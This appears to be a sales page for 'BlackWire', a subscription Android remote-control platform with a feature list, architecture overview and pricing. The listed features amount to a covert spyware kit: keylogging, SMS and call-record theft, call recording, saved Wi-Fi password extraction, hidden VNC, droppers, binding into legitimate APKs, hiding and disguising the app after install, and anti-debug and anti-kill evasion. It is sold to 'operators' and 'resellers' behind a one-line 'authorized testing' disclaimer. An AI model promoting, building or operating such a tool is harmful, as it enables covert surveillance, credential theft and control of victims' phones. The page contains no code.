  • 📷 Camera & live preview
  • 🎙️ Microphone streaming
  • 📍 GPS tracking
  • 📸 Screenshot capture
  • 🔤 On-device OCR (optional)
  • 📡 WebRTC screen stream
  • 🖥️ HVNC & Shell stream
  • 🌐 Server-pushed HTML pages
  • 🖼️ Wallpaper access
  • 🎵 Now Playing play / pause / seek

💬 Communications

  • ✉️ SMS read & send
  • 👥 Contacts & call logs
  • 📞 Call recording + call_recording_saved hook
  • 🔔 Notification logging
  • 📋 Remote clipboard write
  • 🖼️ Remote wallpaper
  • ⌨️ Input tracker
  • ⌨️ Keyboard watcher
  • 📊 App usage stats
  • 📶 Per-app Data Usage

⚙️ Automation

  • 🐍 Python task scripts
  • 🔗 36+ event hooks
  • 🧪 Sandboxed device SDK
  • 🌐 Global & per-device scope
  • 📖 Script wiki & snippets
  • ✨ Accessibility script DSL
  • 🤖 AI create tasks & hooks
  • 🧩 AI module / anti-kill control

🔒 Security & Agent

  • 🔐 JWT authentication
  • 🔐 Dashboard 2FA (TOTP)
  • 📜 Audit logs
  • 🤖 Turnstile login guard
  • 📌 Certificate pinning
  • 👻 Headless auto-start
  • 🔄 Watchdog connection
  • 😴 Sleep agent (hibernate)
  • 🔔 Wake via FCM push
  • 🛡️ Device Admin panel + AI
  • 🛡️ Anti Kill (build + live)
  • 🐚 Shizuku wireless + Local ADB
  • 🔑 Shared ADB key import / export
  • 📶 Saved Wi-Fi passwords
  • 🔍 Session smart signals
  • 🔗 Public APK download pages
  • 📱 Full & ADB agent builds
  • 🛰️ Orbit NDK worker builds
  • 🪶 Dropper / bootstrap builds
  • 🖥️ HVNC / Shell stream
  • 🖥️ OLED panel blank
  • 🔇 Device speaker mute
  • 📞 Call recording (Shizuku / Local ADB)
  • 🔑 One-time pm grant all permissions
  • 🚫 Anti-root / emulator / debug
  • 🫥 Hide app after install
  • 🚀 Run after install
  • 📵 Build without launcher
  • 🎭 Auto-disguise launcher
  • ✂️ Modular Exclude (nested parent groups)
  • 🐚 Shizuku sub-capabilities under Include
  • 🔗 Restart deeplink URI
  • 🔑 Agent enrollment keys

🔌 API & Integration

  • ⚡ FastAPI REST endpoints
  • 📄 OpenAPI / Swagger docs
  • 🔑 JWT admin authentication
  • 🤝 Agent enrollment API
  • 📱 Device command endpoints
  • 🌐 WebView show / hide / upload API
  • 😴 Sleep / Wake (FCM) actions API
  • 🖥️ HVNC start / stop / input API
  • 🐍 Tasks & hooks REST API
  • 🔨 APK / XAPK / APKM bind API
  • ✅ APK compatibility requests
  • 🤖 AI assistant API
  • 👥 Multi-user RBAC & quotas
  • 🔑 REST API keys
  • 🤖 Telegram bot & alerts
  • 🌐 WebSocket dashboard & agent

Multi-user RBAC
and API keys

Run BlackWire as a shared platform — operators, resellers, and integrations each get scoped access.

👥

Dashboard Users

Create operators with per-feature access for devices, builds, tasks, hooks, assistant, settings, and Termux bootstrap.

📊

Quotas & Slots

Per-user device slots, build limits, and usage tracking for B2B deployments.

🔑

REST API Keys

Issue keys with endpoint-level permissions for external tools and automation pipelines.

✅

APK Requests

From Bind, users request host-package compatibility; admins approve or reject — duplicates blocked while pending/approved.

📜

Audit Logs

Filterable history of logins, builds, device actions, and security events — super-admin review from Settings.

🤖

Telegram Bot

Inline-keyboard bot for fleet summary, device list, and online/offline alerts — configurable allowed chat IDs and notification types.

🔗

Public APK Pages

Publish tokenized download links per build — share agent APKs without giving dashboard access.

💾

Server Storage

Super-admin disk view — how much space each BlackWire volume uses (builds, timeline, uploads) so you can prune before the host fills up.

Built with modern tech

Three layers. One connection. From headless agents and Orbit workers to your command dashboard — plus an optional branded dropper in front.

Layer 0
🪶

Dropper (Optional)

Kotlin · WebView · Local VPN · Build Center · JSON config

  • 🪶 Kotlin
  • 🏷️ Launcher branding
  • 🖼️ WebView
  • 🛡️ Local VPN
  • 📥 Controlled download
  • 📦 ZIP install
  • 📴 Headless mode
Layer 1
📱

Android Agents

Kotlin · C++ Orbit · WebSocket · Shizuku · Local ADB · WebRTC · Tesseract · IR

  • 🟣 Kotlin
  • 🛰️ Orbit NDK
  • 🔌 WebSocket
  • 👻 Headless
  • 🐚 Shizuku
  • 🔌 Local ADB
  • 📡 Internal/USB ADB
  • 📡 WebRTC
  • 🔤 Tesseract OCR
  • 📺 IR Remote
Layer 2
⚡

FastAPI Server

REST · WS · PostgreSQL · Redis · Python SDK

  • ⚡ FastAPI
  • 🐘 PostgreSQL
  • 🔴 Redis
  • 🐳 Docker
  • 🤖 Telegram API
Layer 3
⚛️

React Dashboard

React 19 · TypeScript · Tailwind · Real-time · Vite

  • ⚛️ React 19
  • 📘 TypeScript
  • 🎨 Tailwind CSS
  • ⚡ Real-time
  • ▲ Vite
  • 🖥️ xterm.js
  • 📝 Monaco

Simple pricing
scales with your fleet

Every plan includes 2 devices. Add more for $1 per device per billing period.

2

2 included · +$1 each extra device

$ 39 / month
  • Base (2 devices)$39
  • Extra devices$0
  • Full dashboard & remote control
  • Full & ADB agent builds (Shizuku + Local ADB)
  • Orbit NDK (liborbit.so) & Orbit Shell
  • Dropper builder — UI + Headless, custom launcher name & icon
  • Internal & USB ADB · IR remote · pop-out device panels
  • Remote Browser, SOCKS5, WebView, Wi-Fi Direct, Now Playing, Data Usage
  • Sleep agent & wake with Firebase push (FCM)
  • HVNC & Shell stream (H.264) with remote input
  • Call recording (both sides) · one-time ADB permission grants
  • APK install on Full & ADB · apps · files · zoom/rotate preview
  • AI assistant, automation, hooks & Termux shell
  • File Tracker · optional on-device OCR (Persian + English)
  • Standalone APK builder (3-step: ABI, contents, permissions) & host bind (APK/XAPK/APKM, ABI strip)
  • REST / WebSocket API · Telegram bot · public APK pages
  • Multi-user RBAC, 2FA, audit logs, API keys & APK requests
  • Commercial license for your deployment
Get License

Need more than a few dozen devices? Contact us for volume pricing.

Ready to get started?

BlackWire is commercial software. Contact us to obtain a license.

⚠️ This tool is developed strictly for educational and authorized security testing purposes. Unauthorized use is illegal and unethical.